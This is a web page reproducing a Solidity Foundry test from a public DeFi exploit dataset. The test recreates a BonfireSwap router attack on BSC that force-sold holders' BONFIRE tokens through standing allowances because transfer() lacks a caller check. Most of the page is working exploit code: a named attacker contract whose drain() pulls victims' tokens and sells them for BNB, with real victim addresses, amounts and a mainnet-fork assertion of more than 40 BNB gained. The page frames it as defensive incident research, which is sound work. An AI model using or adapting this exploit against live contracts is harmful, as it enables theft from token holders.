Public reproduction file
src/test/2026-09/BonfireSwap_exp.sol
Public reproduction file for dataset entry BonfireSwap.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";6// BonfireSwap router - arbitrary-"from" force-sell via a missing caller check on transfer(). BSC.7// transfer(to, amountAIn, beneficiary, deadline) pulls `to`'s BONFIRE using ONLY the standing8// allowance `to` granted the router (from prior legitimate use) - there is no msg.sender==to check -9// and the router's own skim hands those tokens to the attacker, who then sells them for BNB.10// Reported loss ~66 BNB (~$47-50K).11//12// Attack tx : 0xb4c00e8f3ba815b6c70f45026f8794d2c1f079646a89919077688ce60692193f (block 122003954)13// Attacker EOA : 0x2B5bF7D9D9Dc1EEc68f40C6B7a8f197e65f9731a14// Attack contract : 0x28E976Ea7b83553d6D1D45CE81334156A263212715// BonfireSwap : 0x17e801E17CeFC6334059189c178D4783830E03D3 (verified)16// BONFIRE token : 0x5e90253fbae4Dab78aa351f4E6fed08A64AB5590 (10% tax / 5% reflection, 5,000 maxTx)17// Pancake pair : 0xD3F478F0d5E98b01f757bc6cB54Db4C00b9838f2 (token0 = BONFIRE, token1 = WBNB)18// WBNB : 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c19//20// ROOT CAUSE (verified against the verified source):21// function transfer(address to, uint amountAIn, address beneficiary, uint deadline) public ensure(deadline) {22// _safeTransferFrom(tokenAddress, to, pancakePair, amountAIn); // TOKEN.transferFrom(to, pair, amt)23// (amountAOut, amountBOut) = skimPools(beneficiary);24// }25// _safeTransferFrom does token.call(transferFrom(from=to, pair, amount)) with NO require(msg.sender == to)26// and NO check the caller has any allowance from `to`. The pull succeeds purely on the allowance `to`27// itself granted the router earlier. simpleTransfer() and loggedTransfer() share the identical28// _safeTransferFrom(tokenAddress, to, ...) pattern and are equally exploitable; the real attack used the29// plain transfer() path.30//31// HOW THE PROCEEDS ARE REALIZED (reconciled against the real trace - the alert's skimPool framing is off):32// The pancake pair IS the router's pools[0]. So the skimPools() inside transfer() skims the freshly33// dumped excess straight back out to `beneficiary` AS BONFIRE (not WBNB). Each transfer() therefore34// deposits the victim's tokens into the attacker's contract. The standalone skimPool(pair, ...) the35// attacker also emits is wrapped in try/catch and simply reverts (INSUFFICIENT_OUTPUT once potential==0),36// so it is NOT how value is realized. The attacker monetizes by then calling the router's own37// sell() on the accumulated BONFIRE: in-trace two sell()s returned 33.22 + 32.86 = 66.08 WBNB.38//39// VICTIMS (from the tx's real TOKEN logs): 67 distinct senders dumped into the pair, but that count40// includes the attack contract (0x28E9..2127) and the token contract itself (0x5e90..5590) doing41// reflection/tax bookkeeping - so the real external-holder victim set is ~65, of which ~41 carried a42// drained-worthy balance: the 65-vs-41 spread. Largest victim 0xefF2FC4E..4096 lost 5,289.10 TOKEN,43// matching the alert. Across all 61 skim-refunds the attacker collected 5,082.49 BONFIRE.44//45// This PoC reconstructs the 5 largest REAL victims using their REAL on-chain state read live from the46// fork (each has an unlimited standing allowance to the router; drain sizes are the real in-trace47// amounts). Those 5 account for ~5,017 of the 5,082 BONFIRE collected == ~98.7% of the drain, so the48// reproduced BNB is a ~99% share of the ~66 BNB total (see the assertion).50interface IERC20 {51 function balanceOf(address) external view returns (uint256);52 function allowance(address, address) external view returns (uint256);53 function approve(address, uint256) external returns (bool);54}56interface IBonfireSwap {57 // real signatures; no return declared so we don't depend on decoding their tuple returns.58 function transfer(address to, uint256 amountAIn, address beneficiary, uint256 deadline) external;59 function sell(uint256 amountAIn, uint256 minAmountOut, address to, uint256 deadline) external;60}62/// @notice Named attacker. Unprivileged - every call is one any address can make.63contract BonfireForcedSeller {64 IBonfireSwap constant ROUTER = IBonfireSwap(0x17e801E17CeFC6334059189c178D4783830E03D3);65 IERC20 constant TOKEN = IERC20(0x5e90253fbae4Dab78aa351f4E6fed08A64AB5590);66 uint256 constant MAX_TX = 2450e18; // stay under the token's 5,000 maxTx cap per sell (real chunks ~2,479)68 receive() external payable {}70 /// @dev Step 1: force-sell each named holder's BONFIRE using THEIR standing allowance to the router;71 /// the router's skim refunds the tokens to this contract. Step 2: dump the collected BONFIRE72 /// through the router's sell() for BNB.73 function drain(address[] calldata victims, uint256[] calldata amounts) external returns (uint256 bnbGained) {74 uint256 startBal = address(this).balance;76 // Step 1 - collect victims' tokens into this contract (beneficiary == this).77 for (uint256 i = 0; i < victims.length; i++) {78 require(amounts[i] <= TOKEN.balanceOf(victims[i]), "amount exceeds real balance");79 ROUTER.transfer(victims[i], amounts[i], address(this), block.timestamp);80 }82 // Step 2 - sell the accumulated BONFIRE for BNB, chunked under the maxTx cap.83 TOKEN.approve(address(ROUTER), type(uint256).max);84 for (uint256 k = 0; k < 8; k++) {85 uint256 bal = TOKEN.balanceOf(address(this));86 if (bal < 1e18) break;87 uint256 chunk = bal > MAX_TX ? MAX_TX : bal;88 uint256 bnbBefore = address(this).balance;89 ROUTER.sell(chunk, 0, address(this), block.timestamp);90 if (address(this).balance == bnbBefore) break; // no proceeds -> stop91 }93 bnbGained = address(this).balance - startBal;94 }95}97contract BonfireSwap_exp is Test {98 address constant ROUTER = 0x17e801E17CeFC6334059189c178D4783830E03D3;99 IERC20 constant TOKEN = IERC20(0x5e90253fbae4Dab78aa351f4E6fed08A64AB5590);101 BonfireForcedSeller attacker;102 address attackerEOA = makeAddr("attackerEOA");104 // The exact real drain sequence for the 5 largest victims (~98.7% of the drain). The top victim105 // exceeds the 5,000 maxTx cap, so - as in the real tx - it is pulled in two sub-cap chunks.106 function _sequence() internal pure returns (address[] memory calls, uint256[] memory amounts) {107 calls = new address[](6);108 amounts = new uint256[](6);109 calls[0] = 0xefF2FC4E3145f58F534d68A36Bcd3085Be6a4096; amounts[0] = 2644176000944142651753;110 calls[1] = 0xefF2FC4E3145f58F534d68A36Bcd3085Be6a4096; amounts[1] = 2644928766184339197335;111 calls[2] = 0xB5FA67EaA51b82dcf807021714af6E9469a8C60a; amounts[2] = 35793541251552693748;112 calls[3] = 0x0e209754d8Ad3d277f94288a5FC10854e11e9636; amounts[3] = 8914921028910356181;113 calls[4] = 0x7a8A1060CC281D0263Dc45B0ff5B98a6cD3b9Acd; amounts[4] = 8879656371956250055;114 calls[5] = 0x1Aa7202824a667783Be76b64d4d38a74a322f604; amounts[5] = 8844138239216892382;115 }117 function setUp() public {118 vm.createSelectFork("bsc", 122003953); // parent of the attack block119 attacker = new BonfireForcedSeller();120 }122 function testExploit() public {123 (address[] memory calls, uint256[] memory amounts) = _sequence();125 // Precondition on real state: each named holder granted the router a standing allowance (from126 // prior legitimate use) that the attacker - not the holder - is about to spend. None is the caller.127 for (uint256 i = 0; i < calls.length; i++) {128 assertGt(TOKEN.allowance(calls[i], ROUTER), 0, "victim has standing allowance to router");129 assertTrue(calls[i] != address(attacker) && calls[i] != attackerEOA, "victim != attacker");130 }132 vm.prank(attackerEOA, attackerEOA);133 uint256 gained = attacker.drain(calls, amounts);135 emit log_named_decimal_uint("BNB extracted (5-victim subset ~98.7% of drain)", gained, 18);136 // Full incident ~66 BNB. This subset is ~98.7% of the collected BONFIRE, so it reproduces a137 // large majority of the total; assert a conservative floor well above half of 66 BNB.138 assertGt(gained, 40 ether, "attacker realized the bulk of the ~66 BNB");139 }140}Analysis
Dataset entry
Public Foundry test for “BonfireSwap” (2026-09-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
- src/test/2026-09/RouterDrain_exp.solSame month in the dataset · 226 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x2b5bf7d9d9dc1eec68f40c6b7a8f197e65f9731a
- Attack contract
0x28e976ea7b83553d6d1d45ce81334156a2632127
- Attack Tx
0xb4c00e8f3ba815b6c70f45026f8794d2c1f079646a89919077688ce60692193f
File record
- Name
- BonfireSwap
- Path
- src/test/2026-09/BonfireSwap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6cfd05c12cd880cca4749ab00c14b3996bb001a7
- Language
- Solidity
- Size
- 141 lines
- Date
- 2026-09-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/BonfireSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6cfd05c12cd880cca4749ab00c14b3996bb001a7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.